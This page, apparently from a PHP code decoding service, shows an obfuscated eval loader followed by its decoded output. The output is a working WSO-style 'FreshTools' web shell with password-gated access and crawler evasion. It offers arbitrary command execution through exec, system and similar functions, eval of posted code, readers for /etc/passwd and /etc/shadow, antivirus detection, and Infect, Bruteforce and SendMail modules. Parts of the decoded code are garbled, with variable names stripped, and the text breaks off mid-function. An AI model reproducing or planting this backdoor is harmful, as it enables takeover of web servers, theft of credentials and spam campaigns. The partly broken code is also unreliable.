Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(str_rot13(gzuncompress(base64_decode('eNpVjk0LgkAURdcF/gcR17OKNtKmnPJb0yJoEyqa..

Decoded Output download

<?php function sqdGt($ItHJTXtRzfN, $rplLjMLEa) {
    return str_replace($rplLjMLEa, "=", $ItHJTXtRzfN);
}
$ = '76010858c8362d7302ef5f9436aa6639';
$ = true;
$ = 'UTF-8';
$ = 'FilesMan';
$ = md5($_SERVER['HTTP_USER_AGENT']);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'key'])) {
    prototype(md5($_SERVER['HTTP_HOST']) . 'key', $);
}
if (empty($_POST['charset'])) {
    $_POST['charset'] = $;
}
if (!isset($_POST['ne'])) {
    if (isset($_POST['a'])) {
        $_POST['a'] = iconv('utf-8', $_POST['charset'], decrypt($_POST['a'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'key']));
    }
    if (isset($_POST['c'])) {
        $_POST['c'] = iconv('utf-8', $_POST['charset'], decrypt($_POST['c'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'key']));
    }
    if (isset($_POST['p1'])) {
        $_POST['p1'] = iconv('utf-8', $_POST['charset'], decrypt($_POST['p1'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'key']));
    }
    if (isset($_POST['p2'])) {
        $_POST['p2'] = iconv('utf-8', $_POST['charset'], decrypt($_POST['p2'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'key']));
    }
    if (isset($_POST['p3'])) {
        $_POST['p3'] = iconv('utf-8', $_POST['charset'], decrypt($_POST['p3'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'key']));
    }
}
function decrypt($str, $pwd) {
    $pwd = base64_encode($pwd);
    $str = base64_decode($str);
    $enc_chr = '';
    $enc_str = '';
    $i = 0;
    while ($i < strlen($str)) {
        for ($j = 0;$j < strlen($pwd);$j++) {
            $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
            $enc_str.= $enc_chr;
            $i++;
            if ($i >= strlen($str)) {
                break;
            }
        }
    }
    return base64_decode($enc_str);
}
@ini_set('error_log', null);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@define('VERSION', '1.0');
/* () 11.2011 oRb */
if (!empty($)) {
    if (isset($_POST['pass']) && md5($_POST['pass']) == $) {
        prototype(md5($_SERVER['HTTP_HOST']), $);
    }
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || $_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $) {
        hardLogin();
    }
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$;
}
function hardLogin() {
    if (!empty($_SERVER['HTTP_USER_AGENT'])) {
        $userAgents = ['Google', 'Slurp', 'MSNBot', 'ia_archiver', 'Yandex', 'Rambler', ];
        if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
            header('HTTP/1.0 404 Not Found');
            exit();
        }
    }
    die("<html><head>
        <meta name='description' content='Freshtools.net | Freshtools.pw | Freshtools.to| FreshTools | Best Spamming Shop | Underground Market'>
        <meta name='keywords' content='Freshtools.net | Freshtools.pw | Freshtools.to| FreshTools | Best Spamming Shop | Underground Market'>
        <meta name='author' content='FreshTools'>  
        <meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . ' freshtools wso ' . VERSION . "</title> </head><body><div style='background-color: #040d14;
        background-image: url(https://www.transparenttextures.com/patterns/gradient-squares.png);
        position: absolute;
        height: 100%;
        width: 100%;
        top: 0;
        bottom: 0;
        left: 0;
        right: 0;
    
        display: flex;
        justify-content: center;'><pre align=center><form method=post><p style='font-size: 18px;
        color: #fff;
        font-weight: bold;
        '>Password</p><input type=password name=pass style='margin-right: 0px;
        color: #fff;
        background-color: #202832;
        border: none;
        font: 9pt Courier New;
        outline: none;
        height: 31px;
        border-radius: 12px;
        width:200px;
        margin-right: 6px;outline:none;' required><input type=submit name='mypass' value='submit' style='border:none;background-color:#margin-right: 0px;
        color: #fff;
        background-color: #202832;
        border: none;
        font: 9pt Courier New;
        outline: none;
        height: 31px;
        border-radius: 12px;
        margin-right: 6px;;color:#fff;cursor:pointer;'></form></pre></div></body></html>");
}
if (strtolower(substr(PHP_OS, 0, 3)) == 'win') {
    $os = 'win';
} else {
    $os = 'nix';
}
$safe_mode = @ini_get('safe_mode');
if (!$safe_mode) {
    error_reporting(0);
}
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if (isset($_POST['c'])) {
    @chdir($_POST['c']);
}
$cwd = @getcwd();
if ($os == 'win') {
    $home_cwd = str_replace('\', ' / ', $home_cwd);
    $cwd = str_replace('\', ' / ', $cwd);
}
if ($cwd[strlen($cwd) - 1] != ' / ') {
    $cwd .= ' / ';
}
/* () 04.2015 Pirat */

function hardHeader()
{
    if (empty($_POST['charset'])) {
        $_POST['charset'] = $GLOBALS[''];
    }
    echo "<html><head>
    <meta name='description' content='Freshtools . net | Freshtools . pw | Freshtools . to | FreshTools | BestSpammingShop | UndergroundMarket'>
    <meta name='keywords' content='Freshtools . net | Freshtools . pw | Freshtools . to | FreshTools | BestSpammingShop | UndergroundMarket'>
    <meta name='author' content='FreshTools'>  
    <meta http-equiv='Content - Type' content='text / html;
    charset = " .
        $_POST['charset'] .
        "'><title>" .
        $_SERVER['HTTP_HOST'] .
        'freshtoolswso' .
        VERSION .
        "</title> 
<style> 
    body {  background: rgb(250,250,250);
        background: linear-gradient(180deg, rgba(250,250,250,1) 27%, rgba(251,233,231,0.9009804605435925) 100%); height:100% }
    #particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;} 
    body,td,th    {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;} 
    table.info    {color:#757575;} 
 
    span,h1,a    {color:#616161 !important;} 
    span        {font-weight:bolder;} 
    h1            {border-left:20px solid #E91E63;border-bottom-left-radius:8px;border-top-left-radius:8px;padding:2px 5px;font:14pt Verdana;margin-left:5px;margin-top:8px;margin-bottom:8px} 
    div.content    {padding: 10px;
        margin: 15px;
        box-shadow: rgba(0, 0, 0, 0.24) 0px 3px 8px;
        background:#fff;
        border-radius: 8px;} 
    a            {text-decoration:none;} 
    a:hover        {text-decoration:underline;} 
    .tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;} 
    .tooltip:hover::after {opacity:1;visibility:visible;} 
    .ml1        {border: 3px solid #FFF3E0;
        background: #FFF8E1;
        padding: 10px;
        margin: 3px;
        overflow: auto;
        background: rgba();
       
        color: #424242;
        border-radius: 6px;} 
    .bigarea    {min-width:100%;max-width:100%;height:400px;  height: 31px;} 
    input, textarea  , select   {margin: 0;
        margin-right: 0px;
      border-radius: 12px;
      margin-right: 6px;
height: calc(1.6em + 0.75rem + 2px);
padding: 0.375rem 0.75rem;
font-size: 0.9rem;
font-weight: 400;
line-height: 1.6;
color: #495057;
background-color: #fff;
label::before {
    display:none;
}
label::after {
    display:none;
}
background-clip: padding-box;
border: 1px solid #ced4da;
border-radius: 0.25rem;
transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;
    } 
    label {position:relative} 
    form        {margin:0px;} 
    #toolsTbl    {text-align:center;} 
    #fak         {background:none;} 
    #fak td     {padding:5px 0 0 0;} 
    iframe        {border:1px solid #060a10;} 
    .toolsInp    {width:300px} 
    .main th    {text-align: left;
        font-weight: bold;
        font-size: 16px;
        color: #B0BEC5 !important;} 
     .main th a{
         
        color:#B0BEC5!important;
     }
    .main tr:hover{background-color:#FBE9E7;        cursor: pointer;
    } 
    .main td, th{vertical-align:middle;} 
    input[type='submit'] , input[type='button']{
        background: #EC407A;  /* fallback for old browsers */
        background: -webkit-linear-gradient(to right, #EC407A, #E91E63);  /* Chrome 10-25, Safari 5.1-6 */
        background: linear-gradient(to right, #EC407A, #E91E63); /* W3C, IE 10+/ Edge, Firefox 16+, Chrome 26+, Opera 12+, Safari 7+ */
        
        
text-align: center;
transition: 0.5s;
background-size: 200% auto;
color: white !important;
border-radius: 10px;
border: none;
box-shadow: none;

    }


    input[type='submit']:hover , input[type='button']:hover {
        background-position: right center; /* change the direction of the change here */
        color: #fff;
        text-decoration: none;
        cursor: pointer;
    }

    .l1            {background-color:#EEEEEE;} 
    pre            {font:9pt Courier New;} 
    .menu-header{
        background: #fff;
        height: 49px;
        display: flex;
        align-items: center;
        justify-content: center;
        box-shadow: rgba(149, 157, 165, 0.2) 0px 8px 24px;
        margin-top:8px;
        margin-bottom:8px;
       
    }
 
    .menu-header table{
        height:40px;
    }
    .content table tr{
      height:23px;
      color:#616161
    }
    .send_mail_form input[type='text']{

        width:40%;
    }
    .send_mail_form textarea{

        width:40%;
        height:120px;
    }
    .tab-item{
    
        padding: 7px;
        width: 106px;
        margin-left: 23px;
        background: #56ab2f;  /* fallback for old browsers */
        background: -webkit-linear-gradient(to right, #56ab2f, #a8e063);  /* Chrome 10-25, Safari 5.1-6 */
        background: linear-gradient(to right, #56ab2f, #a8e063); /* W3C, IE 10+/ Edge, Firefox 16+, Chrome 26+, Opera 12+, Safari 7+ */
        
        
                padding: 9px;
text-align: center;
transition: 0.5s;
background-size: 200% auto;
color: white !important;
border-radius: 10px;
border: none;
box-shadow: none;
       
    }
    .tab-item:hover{
        background-position: right center; /* change the direction of the change here */
        color: #fff;
        text-decoration: none;
        cursor: pointer;
    }
  
    .badge-info {
        background: #E0E0E0;
        color: #616161 !important;
        padding: 5px;
        border-radius: 15px;
      }
      .output-result{
        padding: 10px;
        margin: 3px;
        overflow: auto;
        border-radius:5px;
        margin-top:10px;
        margin-bottom:20px;
        min-height:50px;
        border: 3px solid #FFF3E0;
        background: #FFF8E1;
      }
</style> 
<script> 
    var c_ = '" .
        htmlspecialchars($GLOBALS['cwd']) .
        "'; 
    var a_ = '" .
        htmlspecialchars(@$_POST['a']) .
        "' 
    var charset_ = '" .
        htmlspecialchars(@$_POST['charset']) .
        "'; 
    var p1_ = '" .
        (strpos(@$_POST['p1'], "") !== false
            ? ''
            : htmlspecialchars($_POST['p1'], ENT_QUOTES)) .
        "'; 
    var p2_ = '" .
        (strpos(@$_POST['p2'], "") !== false
            ? ''
            : htmlspecialchars($_POST['p2'], ENT_QUOTES)) .
        "'; 
    var p3_ = '" .
        (strpos(@$_POST['p3'], "") !== false
            ? ''
            : htmlspecialchars($_POST['p3'], ENT_QUOTES)) .
        "'; 
    var d = document; 
     
    function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);} 
    function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;} 
    function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 +/= ';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+' == ';break;case 2:enc=enc.slice(0,-1)+' = ';break;}return enc;} 
    function set(a,c,p1,p2,p3,charset) { 
        if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; 
        if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; 
        if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; 
        if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; 
        if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; 
        d.mf.a.value = encrypt(d.mf.a.value,'" .
        $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'key'] .
        "'); 
        d.mf.c.value = encrypt(d.mf.c.value,'" .
        $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'key'] .
        "'); 
        d.mf.p1.value = encrypt(d.mf.p1.value,'" .
        $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'key'] .
        "'); 
        d.mf.p2.value = encrypt(d.mf.p2.value,'" .
        $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'key'] .
        "'); 
        d.mf.p3.value = encrypt(d.mf.p3.value,'" .
        $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'key'] .
        "'); 
        if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; 
    } 
    function g(a,c,p1,p2,p3,charset) { 
        set(a,c,p1,p2,p3,charset); 
        d.mf.submit(); 
    } 
    function a(a,c,p1,p2,p3,charset) { 
        set(a,c,p1,p2,p3,charset); 
        var params = 'ajax = true'; 
        for(i=0;i<d.mf.elements.length;i++) 
            params += ' & '+d.mf.elements[i].name+' = '+encodeURIComponent(d.mf.elements[i].value); 
        sr('" .
        addslashes($_SERVER['REQUEST_URI']) .
        "', params); 
    } 
    function sr(url, params) { 
        if (window.XMLHttpRequest) 
            req = new XMLHttpRequest(); 
        else if (window.ActiveXObject) 
            req = new ActiveXObject('Microsoft . XMLHTTP'); 
        if (req) { 
            req.onreadystatechange = processReqChange; 
            req.open('POST', url, true); 
            req.setRequestHeader ('Content - Type', 'application / x - www - form - urlencoded'); 
            req.send(params); 
        } 
    } 
    function processReqChange() { 
        if( (req.readyState == 4) ) 
            if(req.status == 200) { 
                var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm'); 
                var arr=reg.exec(req.responseText); 
                eval(arr[2].substr(0, arr[1])); 
            } else alert('Requesterror!'); 
    } 
</script> 
<head><body><div> 
<form method=post name=mf style='display:
        none;
        '> 
<input type=hidden name=a> 
<input type=hidden name=c> 
<input type=hidden name=p1> 
<input type=hidden name=p2> 
<input type=hidden name=p3> 
<input type=hidden name=charset> 
</form>";
    $freeSpace = @diskfreespace($GLOBALS['cwd']);
    $totalSpace = @disk_total_space($GLOBALS['cwd']);
    $totalSpace = $totalSpace ? $totalSpace : 1;
    $release = @php_uname('r');
    $kernel = @php_uname('s');
    $explink =
        'http: //noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';
            if (strpos('Linux', $kernel) !== false) {
                $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
            } else {
                $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
            }
            if (!function_exists('posix_getegid')) {
                $user = @get_current_user();
                $uid = @getmyuid();
                $gid = @getmygid();
                $group = '?';
            } else {
                $uid = @posix_getpwuid(@posix_geteuid());
                $gid = @posix_getgrgid(@posix_getegid());
                $user = $uid['name'];
                $uid = $uid['uid'];
                $group = $gid['name'];
                $gid = $gid['gid'];
            }
            $cwd_links = '';
            $path = explode('/', $GLOBALS['cwd']);
            $n = count($path);
            for ($i = 0;$i < $n - 1;$i++) {
                $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
                for ($j = 0;$j <= $i;$j++) {
                    $cwd_links.= $path[$j] . '/';
                }
                $cwd_links.= "\")'>" . $path[$i] . '/</a>';
            }
            $charsets = ['UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'];
            $opt_charsets = '';
            foreach ($charsets as $) {
                $opt_charsets.= '<option value="' . $ . '" ' . ($_POST['charset'] == $ ? 'selected' : '') . '>' . $ . '</option>';
            }
            $m = ['Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Send mail' => 'SendMail', 'Console' => 'Console', 'Infect' => 'Infect', 'Sql' => 'Sql', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network', ];
            if (!empty($GLOBALS[''])) {
                $m['Logout'] = 'Logout';
            }
            $m['Self remove'] = 'SelfRemove';
            $menu = '';
            foreach ($m as $k => $v) {
                $menu.= '<button  class="tab-item" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</button>';
            }
            $drives = '';
            if ($GLOBALS['os'] == 'win') {
                foreach (range('c', 'z') as $drive) {
                    if (is_dir($drive . ':\')) {
                $drives .=
                    ' < ahref = "#"onclick = "g(\'FilesMan\',\'' .
                    $drive .
                    ':/\')" > [' .
                    $drive .
                    '] < / a > ';
            }
        }
    }
    /* () 08.2015 dmkcv */

    echo ' < tableclass = "info"cellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd:
                                        ' .
        ($GLOBALS['os'] == 'win' ? ' < br > Drives:
                                            ' : '') .
        ' < / span > < / td > ' .
        ' < td > < nobr > ' .
        substr(@php_uname(), 0, 120) .
        ' < ahref = "http://noreferer.de/?http://www.google.com/search?q=' .
        urlencode(@php_uname()) .
        '"target = "_blank" > [Google] < / a > < ahref = "' .
        $explink .
        '"target = _blank > [Exploit - DB] < / a > < / nobr > < br > ' .
        $uid .
        '(' .
        $user .
        ') < span > Group: < / span > ' .
        $gid .
        '(' .
        $group .
        ') < br > ' .
        @phpversion() .
        ' < span > Safemode: < / span > ' .
        ($GLOBALS['safe_mode']
            ? ' < fontcolor = red > ON < / font > '
            : ' < fontcolor = #FFDB5F><b>OFF</b></font>') .
                                                    ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . viewSize($totalSpace) . ' <span>Free:</span> ' . viewSize($freeSpace) . ' (' . round(100 / ($totalSpace / $freeSpace), 2) . '%)<br>' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td><h1 style="border:none">Freshtools</h1></td>' . '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">' . $opt_charsets . '</select></label><br><span>Server IP:</span><br>' . gethostbyname($_SERVER['HTTP_HOST']) . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<div class="menu-header">' . $menu . '</div><div>';
                                                }
                                                function hardFooter() {
                                                    $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='#FFDB5F'>[ Writeable ]</font>" : ' <font color=red>(Not writable)</font>';
                                                    echo " 
</div> 
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%> 
    <tr> 
        <td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g(null,this.c.value,'');" : '') . "return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='submit'></form></td> 
        <td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value);" : '') . "return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td> 
    </tr><tr> 
        <td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g('FilesMan',null,'mkdir',this.d.value);" : '') . "return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td> 
        <td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value,'mkfile');" : '') . "return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td> 
    </tr><tr> 
        <td><form onsubmit=\"" . (function_exists('actionConsole') ? "g('Console',null,this.c.value);" : '') . "return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td> 
        <td><form method='post' " . (!function_exists('actionFilesMan') ? " onsubmit=\"return false;\" " : '') . "ENCTYPE='multipart/form-data'> 
        <input type=hidden name=a value='FilesMan'> 
        <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'> 
        <input type=hidden name=p1 value='uploadFile'> 
        <input type=hidden name=ne value=''> 
        <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'> 
        <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td> 
    </tr></table></div> 
  
    </body></html>";
                                                }
                                                if (!function_exists('posix_getpwuid') && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
                                                    function posix_getpwuid($p) {
                                                        return false;
                                                    }
                                                }
                                                if (!function_exists('posix_getgrgid') && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
                                                    function posix_getgrgid($p) {
                                                        return false;
                                                    }
                                                }
                                                function ex($in) {
                                                    $ = '';
                                                    if (function_exists('exec')) {
                                                        @exec($in, $);
                                                        $ = @join("
", $);
                                                    } elseif (function_exists('passthru')) {
                                                        ob_start();
                                                        @passthru($in);
                                                        $ = ob_get_clean();
                                                    } elseif (function_exists('system')) {
                                                        ob_start();
                                                        @system($in);
                                                        $ = ob_get_clean();
                                                    } elseif (function_exists('shell_exec')) {
                                                        $ = shell_exec($in);
                                                    } elseif (is_resource($f = @popen($in, 'r'))) {
                                                        $ = '';
                                                        while ([email protected]($f)) {
                                                            $.= fread($f, 1024);
                                                        }
                                                        pclose($f);
                                                    } else {
                                                        return " Unable to execute command
";
                                                    }
                                                    return $ == '' ? " Query did not return anything
" : $;
                                                }
                                                function viewSize($s) {
                                                    if ($s >= 1073741824) {
                                                        return sprintf('%1.2f', $s / 1073741824) . ' GB';
                                                    } elseif ($s >= 1048576) {
                                                        return sprintf('%1.2f', $s / 1048576) . ' MB';
                                                    } elseif ($s >= 1024) {
                                                        return sprintf('%1.2f', $s / 1024) . ' KB';
                                                    } else {
                                                        return $s . ' B';
                                                    }
                                                }
                                                function perms($p) {
                                                    if (($p & 0xc000) == 0xc000) {
                                                        $i = 's';
                                                    } elseif (($p & 0xa000) == 0xa000) {
                                                        $i = 'l';
                                                    } elseif (($p & 0x8000) == 0x8000) {
                                                        $i = '-';
                                                    } elseif (($p & 0x6000) == 0x6000) {
                                                        $i = 'b';
                                                    } elseif (($p & 0x4000) == 0x4000) {
                                                        $i = 'd';
                                                    } elseif (($p & 0x2000) == 0x2000) {
                                                        $i = 'c';
                                                    } elseif (($p & 0x1000) == 0x1000) {
                                                        $i = 'p';
                                                    } else {
                                                        $i = 'u';
                                                    }
                                                    $i.= $p & 0x0100 ? 'r' : '-';
                                                    $i.= $p & 0x0080 ? 'w' : '-';
                                                    $i.= $p & 0x0040 ? ($p & 0x0800 ? 's' : 'x') : ($p & 0x0800 ? 'S' : '-');
                                                    $i.= $p & 0x0020 ? 'r' : '-';
                                                    $i.= $p & 0x0010 ? 'w' : '-';
                                                    $i.= $p & 0x0008 ? ($p & 0x0400 ? 's' : 'x') : ($p & 0x0400 ? 'S' : '-');
                                                    $i.= $p & 0x0004 ? 'r' : '-';
                                                    $i.= $p & 0x0002 ? 'w' : '-';
                                                    $i.= $p & 0x0001 ? ($p & 0x0200 ? 't' : 'x') : ($p & 0x0200 ? 'T' : '-');
                                                    return $i;
                                                }
                                                function viewPermsColor($f) {
                                                    if ([email protected]_readable($f)) {
                                                        return '<font color=#FF0000><b>' . perms(@fileperms($f)) . '</b></font>';
                                                    } elseif ([email protected]_writable($f)) {
                                                        return '<font ><b>' . perms(@fileperms($f)) . '</b></font>';
                                                    } else {
                                                        return '<font color=#FFDB5F><b>' . perms(@fileperms($f)) . '</b></font>';
                                                    }
                                                }
                                                function hardScandir($dir) {
                                                    if (function_exists('scandir')) {
                                                        return scandir($dir);
                                                    } else {
                                                        $dh = opendir($dir);
                                                        while (false !== ($filename = readdir($dh))) {
                                                            $files[] = $filename;
                                                        }
                                                        return $files;
                                                    }
                                                }
                                                function which($p) {
                                                    $path = ex('which ' . $p);
                                                    if (!empty($path)) {
                                                        return $path;
                                                    }
                                                    return false;
                                                }
                                                function actionRC() {
                                                    if ([email protected]$_POST['p1']) {
                                                        $a = ['uname' => php_uname(), 'php_version' => phpversion(), 'VERSION' => VERSION, 'safemode' => @ini_get('safe_mode'), ];
                                                        echo serialize($a);
                                                    } else {
                                                        eval($_POST['p1']);
                                                    }
                                                }
                                                function prototype($k, $v) {
                                                    $_COOKIE[$k] = $v;
                                                    setcookie($k, $v);
                                                }
                                                function actionSecInfo() {
                                                    hardHeader();
                                                    echo '<h1>Server security information</h1><div class=content>';
                                                    function showSecParam($n, $v) {
                                                        $v = trim($v);
                                                        if ($v) {
                                                            echo '<span>' . $n . ': </span>';
                                                            if (strpos($v, "
") === false) {
                                                                echo $v . '<br>';
                                                            } else {
                                                                echo '<pre class=ml1>' . $v . '</pre>';
                                                            }
                                                        }
                                                    }
                                                    showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
                                                    if (function_exists('apache_get_modules')) {
                                                        showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
                                                    }
                                                    showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
                                                    showSecParam('Open base dir', @ini_get('open_basedir'));
                                                    showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
                                                    showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
                                                    showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
                                                    $temp = [];
                                                    if (function_exists('mysql_get_client_info')) {
                                                        $temp[] = 'MySql (' . mysql_get_client_info() . ')';
                                                    }
                                                    if (function_exists('mssql_connect')) {
                                                        $temp[] = 'MSSQL';
                                                    }
                                                    if (function_exists('pg_connect')) {
                                                        $temp[] = 'PostgreSQL';
                                                    }
                                                    if (function_exists('oci_connect')) {
                                                        $temp[] = 'Oracle';
                                                    }
                                                    showSecParam('Supported databases', implode(', ', $temp));
                                                    echo '<br>';
                                                    if ($GLOBALS['os'] == 'nix') {
                                                        showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
                                                        showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
                                                        showSecParam('OS version', @file_get_contents('/proc/version'));
                                                        showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
                                                        if (!$GLOBALS['safe_mode']) {
                                                            $userful = ['gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl', ];
                                                            $danger = ['kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja', ];
                                                            $downloaders = ['wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror', ];
                                                            echo '<br>';
                                                            $temp = [];
                                                            foreach ($userful as $) {
                                                                if (which($)) {
                                                                    $temp[] = $;
                                                                }
                                                            }
                                                            showSecParam('Userful', implode(', ', $temp));
                                                            $temp = [];
                                                            foreach ($danger as $) {
                                                                if (which($)) {
                                                                    $temp[] = $;
                                                                }
                                                            }
                                                            showSecParam('Danger', implode(', ', $temp));
                                                            $temp = [];
                                                            foreach ($downloaders as $) {
                                                                if (which($)) {
                                                                    $temp[] = $;
                                                                }
                                                            }
                                                            showSecParam('Downloaders', implode(', ', $temp));
                                                            echo '<br/>';
                                                            showSecParam('HDD space', ex('df -h'));
                                                            showSecParam('Hosts', @file_get_contents('/etc/hosts'));
                                                            showSecParam('Mount options', @file_get_contents('/etc/fstab'));
                                                        }
                                                    } else {
                                                        showSecParam('OS Version', ex('ver'));
                                                        showSecParam('Account Settings', iconv('CP866', 'UTF-8', ex('net accounts')));
                                                        showSecParam('User Accounts', iconv('CP866', 'UTF-8', ex('net user')));
                                                    }
                                                    echo '</div>';
                                                    hardFooter();
                                                }
                                                function actionFilesTools() {
                                                    if (isset($_POST['p1'])) {
                                                        $_POST['p1'] = urldecode($_POST['p1']);
                                                    }
                                                    if (@$_POST['p2'] == 'download') {
                                                        if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                                                            ob_start('ob_gzhandler', 4096);
                                                            header('Content-Disposition: attachment; filename=' . basename($_POST['p1']));
                                                            if (function_exists('mime_content_type')) {
